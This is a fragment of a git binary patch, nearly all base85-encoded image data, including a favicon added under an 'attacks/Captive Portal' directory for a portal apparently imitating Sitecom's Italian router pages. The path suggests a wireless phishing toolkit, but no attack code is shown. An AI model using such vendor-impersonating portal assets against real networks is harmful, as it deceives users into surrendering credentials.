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 literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/favicon.ico b/attacks/Captive Portal/sites/Sitecom_it.portal/img/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..ae706c5b1f8326df079689c969947115d727cf01 GIT binary patch literal 1150 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 